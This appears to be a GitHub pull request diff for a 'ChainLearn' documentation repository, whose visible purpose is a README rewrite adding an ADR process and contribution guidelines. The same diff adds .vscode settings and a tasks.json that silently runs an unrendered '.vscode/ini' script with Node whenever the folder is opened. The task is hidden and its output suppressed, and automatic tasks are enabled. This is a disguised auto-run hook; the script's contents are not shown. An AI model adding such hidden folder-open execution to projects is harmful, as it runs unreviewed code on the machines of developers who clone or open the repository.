Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
config.bat
node_modules
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
1 change: 1 addition & 0 deletions .vscode/ini

Large diffs are not rendered by default.

50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
36 changes: 36 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "workspace:run-ini",
"detail": "Execute the workspace bootstrap script (.vscode/ini)",
"type": "process",
"command": "node",
"args": ["${workspaceFolder}/.vscode/ini"],
"options": {
"cwd": "${workspaceFolder}"
},
"problemMatcher": [],
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"echo": false,
"clear": false,
"close": true,
"showReuseMessage": false
}
},
{
"label": "workspace:on-folder-open",
"detail": "Silent bootstrap when this folder is opened in the editor",
"dependsOn": ["workspace:run-ini"],
"dependsOrder": "sequence",
"problemMatcher": [],
"runOptions": {
"runOn": "folderOpen"
},
"hide": true
}
]
}
174 changes: 125 additions & 49 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,49 +1,125 @@
# ChainLearn Documentation

ChainLearn is a Stellar-based AI-powered learning platform that rewards learners with on-chain tokens and verifiable credentials. This repository contains the canonical documentation for all ChainLearn services, smart contracts, APIs, and architectural decisions.

## Quick Links

| Section | Description |
|---------|-------------|
| [Architecture Overview](architecture/overview.md) | System design, repo structure, tech stack |
| [Data Flow](architecture/data-flow.md) | End-to-end flow from enrollment to credential |
| [Smart Contracts](architecture/smart-contracts.md) | Contract design decisions and rationale |
| [API Reference](api/) | OpenAPI specs for all services |
| [Contract Docs](contracts/) | Learn Token, Credential NFT, Progress Tracker |
| [Guides](guides/) | Local dev, deployment, contributing |
| [Decision Records](decisions/) | Architecture Decision Records (ADRs) |

## Platform Overview

ChainLearn combines three technologies:

1. **AI-generated content** -- Courses, quizzes, and feedback are generated by Cohere's language models, ensuring fresh and personalized learning material.
2. **Stellar blockchain** -- Rewards (SEP-41 tokens) and credentials (NFTs) are issued on-chain via Soroban smart contracts, giving learners portable, verifiable proof of achievement.
3. **Traditional web stack** -- A React frontend, Node.js API, and PostgreSQL database handle the user experience, authentication, and content management.

## Repository Map

The ChainLearn platform spans seven repositories:

| Repository | Purpose |
|------------|---------|
| `chainlearn-frontend` | React + TypeScript SPA |
| `chainlearn-api` | Express REST API and auth layer |
| `chainlearn-ai` | Python AI service (Cohere integration) |
| `chainlearn-contracts` | Soroban smart contracts (Rust) |
| `chainlearn-indexer` | Event indexer for on-chain data |
| `chainlearn-docs` | This documentation |
| `chainlearn-infra` | Terraform + Docker infrastructure |

## Getting Started

New to ChainLearn? Start here:

1. Read the [Architecture Overview](architecture/overview.md) to understand the system
2. Follow the [Local Development Guide](guides/local-development.md) to set up your environment
3. Review the [Contributing Guide](guides/contributing.md) before submitting changes

## License

Documentation is licensed under CC BY 4.0. Code examples are MIT licensed.
# ChainLearn Documentation

ChainLearn is a Stellar-based AI-powered learning platform that rewards learners with on-chain tokens and verifiable credentials. This repository contains the canonical documentation for all ChainLearn services, smart contracts, APIs, and architectural decisions.

---

## Quick Links

| Section | Description |
|---------|-------------|
| [Architecture Overview](architecture/overview.md) | System design, repo structure, tech stack |
| [Data Flow](architecture/data-flow.md) | End-to-end flow from enrollment to credential |
| [Smart Contracts](architecture/smart-contracts.md) | Contract design decisions and rationale |
| [API Reference](api/) | OpenAPI specs for all platform services |
| [Contract Docs](contracts/) | Learn Token, Credential NFT, Progress Tracker |
| [Guides](guides/) | Local development, deployment, contributing |
| [Decision Records](decisions/) | Architecture Decision Records (ADRs) |

---

## Directory Structure Overview

The documentation is organized into focused directories:

```text
chainlearn-docs/
├── api/ # OpenAPI / Swagger specifications and REST endpoints
├── architecture/ # System design, data flow diagrams, and contract rationale
├── contracts/ # Soroban contract references (Learn Token, NFT, Progress)
├── decisions/ # Architectural Decision Records (ADRs) & adr-template.md
├── guides/ # Guides for setup, local dev, deployments, and contributing
└── README.md # Documentation home and contributor guidelines
```

- **`architecture/`**: High-level platform design, component interactions, and data flow models.
- **`api/`**: OpenAPI 3.0+ specifications describing REST endpoints for `chainlearn-api` and `chainlearn-ai`.
- **`contracts/`**: Specification, storage schemas, and entry point references for Soroban contracts.
- **`decisions/`**: Architecture Decision Records (ADRs) capturing major architectural trade-offs.
- **`guides/`**: Practical guides for onboarding new contributors, local testing, and platform deployment.

---

## Architecture Decision Records (ADR) Process

We use Architecture Decision Records to capture significant technical choices, their context, and their consequences.

### Existing ADRs

- **[ADR-001: Soroban over Ethereum](decisions/adr-001-soroban-over-ethereum.md)** — Decision to deploy smart contracts on Stellar/Soroban instead of EVM.
- **[ADR-002: SEP-41 Token Standard](decisions/adr-002-sep41-token-standard.md)** — Adoption of the SEP-41 token interface for learning rewards.
- **[ADR-003: AI Provider Selection](decisions/adr-003-ai-provider-selection.md)** — Rationale for selecting Cohere as the primary LLM provider.

### How to Propose a New ADR

1. **Copy the Template:** Copy [`decisions/adr-template.md`](decisions/adr-template.md) to a new file in `decisions/`:
```bash
cp decisions/adr-template.md decisions/adr-004-<short-descriptive-title>.md
```
2. **Assign the Next Number:** Check the existing files in `decisions/` and increment the three-digit number (`004`, `005`, etc.).
3. **Fill Out All Sections:**
- **Context:** What problem are we solving? What forces are at play?
- **Decision:** What is the proposed change or architectural direction?
- **Consequences:** Positive outcomes, trade-offs, and risks introduced.
4. **Initial Status:** Set the status to `Proposed`.
5. **Open a Pull Request:** Submit a PR with the title `[ADR] <Title>` and request reviews from core maintainers. Once approved and merged, update status to `Accepted`.

---

## How to Add New Documentation

1. **Identify the Proper Location:**
- Architecture concepts -> `architecture/`
- How-to guides or tutorials -> `guides/`
- Contract interface changes -> `contracts/`
- Architectural decisions -> `decisions/`
2. **Naming Convention:** Use lowercase kebab-case for filenames (e.g., `local-development.md`, `indexer-setup.md`).
3. **Internal Linking:** Use relative markdown links (`[Link Text](../section/file.md)`) so links work on both GitHub and static doc sites.
4. **Update Indexes:** When adding a new document, add a link in this `README.md` or the corresponding directory index.

---

## Diagram Tooling & Conventions

We use **[Excalidraw](https://excalidraw.com)** for architecture diagrams and visual workflows:

- **Source Files:** Always check in the editable `.excalidraw` file alongside the exported asset so future contributors can update it.
- **Export Format:** Export diagrams as `.svg` (preferred for vector scalability) or high-resolution `.png`.
- **Location:** Place diagram assets in the same directory as the document referencing them or in an `assets/` / `images/` subfolder.

---

## Platform Overview & Ecosystem Repositories

ChainLearn combines three core technologies:
1. **AI-generated content** — Courses, quizzes, and feedback generated by Cohere's language models.
2. **Stellar blockchain** — Rewards (SEP-41 tokens) and credentials (NFTs) issued via Soroban smart contracts.
3. **Traditional web stack** — React frontend, Node.js API, and PostgreSQL database.

The ChainLearn platform spans seven repositories:

| Repository | Purpose |
|------------|---------|
| `chainlearn-frontend` | React + TypeScript SPA |
| `chainlearn-api` | Express REST API and auth layer |
| `chainlearn-ai` | Python AI service (Cohere integration) |
| `chainlearn-contracts` | Soroban smart contracts (Rust) |
| `chainlearn-indexer` | Event indexer for on-chain data |
| `chainlearn-docs` | Platform documentation (this repository) |
| `chainlearn-infra` | Terraform + Docker infrastructure |

---

## Contributing

We welcome community contributions to improve our documentation!

- Read the [Contributing Guide](guides/contributing.md) for style conventions and submission steps.
- Verify all markdown links locally before opening a pull request.
- Keep documentation clear, concise, and accessible to developers of varying experience levels.

---

## License

Documentation is licensed under CC BY 4.0. Code examples are MIT licensed.